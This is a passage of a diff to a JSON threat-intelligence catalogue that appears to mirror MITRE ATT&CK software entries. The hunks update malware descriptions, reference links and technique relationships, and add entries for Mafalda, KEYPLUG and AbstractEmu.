"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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"970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3be1fb7a-0f7e-415e-8e3a-74a80d596e68", + "value": "Mafalda - S1060" + }, { "description": "[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)", "meta": { @@ -12092,13 +12858,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda", @@ -12596,7 +13355,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0180", - "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2", + "https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2", "https://www.us-cert.gov/ncas/alerts/TA17-318B", "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" ], @@ -12605,6 +13364,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "0a52e73b-d7e9-45ae-9bda-46568f753931", "tags": [ @@ -12724,13 +13490,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -12751,13 +13510,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", @@ -13054,13 +13806,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0", @@ -13116,13 +13861,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "5bcd5511-6756-4824-a692-e8bb109364af", @@ -13222,7 +13960,7 @@ "refs": [ "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "https://attack.mitre.org/software/S0023", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", "https://www.justice.gov/file/1080281/download", "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government", "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" @@ -13244,6 +13982,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -13445,11 +14190,11 @@ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0203", "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf", "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", @@ -14825,13 +15570,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "48523614-309e-43bf-a2b8-705c2b45d7b2", @@ -15579,13 +16317,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "47afe41c-4c08-485e-b062-c3bd209a1cce", @@ -15817,13 +16548,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ @@ -15853,14 +16577,14 @@ "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16520,13 +17244,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", @@ -17536,7 +18253,7 @@ "value": "Nebulae - S0630" }, { - "description": "[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)", + "description": "[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) ", "meta": { "external_id": "S0603", "mitre_platforms": [ @@ -17547,7 +18264,7 @@ "https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01", "https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf", "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf", - "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf" ], "synonyms": [ "Stuxnet", @@ -18322,13 +19039,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "68dca94f-c11d-421e-9287-7c501108e18c", @@ -18468,13 +19178,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039", @@ -18572,14 +19275,14 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18855,7 +19558,7 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20986,13 +21689,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ @@ -21007,6 +21703,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -21248,7 +21951,7 @@ "value": "RARSTONE - S0055" }, { - "description": "[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", "meta": { "external_id": "S0560", "mitre_platforms": [ @@ -21529,6 +22232,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -21599,6 +22309,13 @@ ], "type": "uses" }, + { + "dest-uuid": "208884f1-7b83-4473-ac22-4e1cf6c41471", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -21613,6 +22330,13 @@ ], "type": "uses" }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ @@ -21697,13 +22421,6 @@ ], "type": "uses" }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ @@ -21795,6 +22512,13 @@ ], "type": "uses" }, + { + "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -21900,6 +22624,20 @@ ], "type": "uses" }, + { + "dest-uuid": "d4dc46e3-5ba5-45b9-8204-010867cacfcb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -21942,6 +22680,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -21949,6 +22694,13 @@ ], "type": "uses" }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ @@ -23681,43 +24433,7 @@ "TRISIS" ] }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], + "related": [], "uuid": "93ae2edf-a598-4d2d-acd7-bcae0c021923", "value": "TRITON - S0609" }, @@ -23848,13 +24564,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", "tags": [ @@ -23883,13 +24592,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -24508,6 +25210,9 @@ "refs": [ "https://attack.mitre.org/software/S1012", "https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage" + ], + "synonyms": [ + "PowerLess" ] }, "related": [ @@ -25052,15 +25757,107 @@ "value": "Prikormka - S0113" }, { - "description": "[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)", + "description": "[YiSpecter](https://attack.mitre.org/software/S0311) is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. [YiSpecter](https://attack.mitre.org/software/S0311) abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.(Citation: paloalto_yispecter_1015)", "meta": { "external_id": "S0311", + "mitre_platforms": [ + "Android", + "iOS" + ], "refs": [ "https://attack.mitre.org/software/S0311", - "https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/" + "https://unit42.paloaltonetworks.com/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/" + ], + "synonyms": [ + "YiSpecter" ] }, - "related": [], + "related": [ + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d3bc5020-f6a2-41c0-8ccb-5e563101b60c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9", "value": "YiSpecter - S0311" }, @@ -25824,13 +26621,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2", @@ -25852,6 +26642,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -25912,6 +26709,84 @@ "uuid": "47124daf-44be-4530-9c63-038bc64318dd", "value": "RegDuke - S0511" }, + { + "description": "[KEYPLUG](https://attack.mitre.org/software/S1051) is a modular backdoor written in C++, with Windows and Linux variants, that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least June 2021.(Citation: Mandiant APT41)", + "meta": { + "external_id": "S1051", + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1051", + "https://www.mandiant.com/resources/apt41-us-state-governments" + ], + "synonyms": [ + "KEYPLUG", + "KEYPLUG.LINUX" + ] + }, + "related": [ + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6c575670-d14c-4c7f-9b9d-fd1b363e255d", + "value": "KEYPLUG - S1051" + }, { "description": "[Milan](https://attack.mitre.org/software/S1015) is a backdoor implant based on [DanBot](https://attack.mitre.org/software/S1014) that was written in Visual C++ and .NET. [Milan](https://attack.mitre.org/software/S1015) has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)", "meta": { @@ -26075,6 +26950,180 @@ "uuid": "aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "value": "Milan - S1015" }, + { + "description": "[AbstractEmu](https://attack.mitre.org/software/S1061) is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. [AbstractEmu](https://attack.mitre.org/software/S1061) was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.(Citation: lookout_abstractemu_1021)", + "meta": { + "external_id": "S1061", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S1061", + "https://www.lookout.com/blog/lookout-discovers-global-rooting-malware-campaign" + ], + "synonyms": [ + "AbstractEmu" + ] + }, + "related": [ + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "27d18e87-8f32-4be1-b456-39b90454360f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2aec175b-4429-4048-8e09-3ef6cbecfc64", + "value": "AbstractEmu - S1061" + }, { "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)", "meta": { @@ -26936,13 +27985,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - 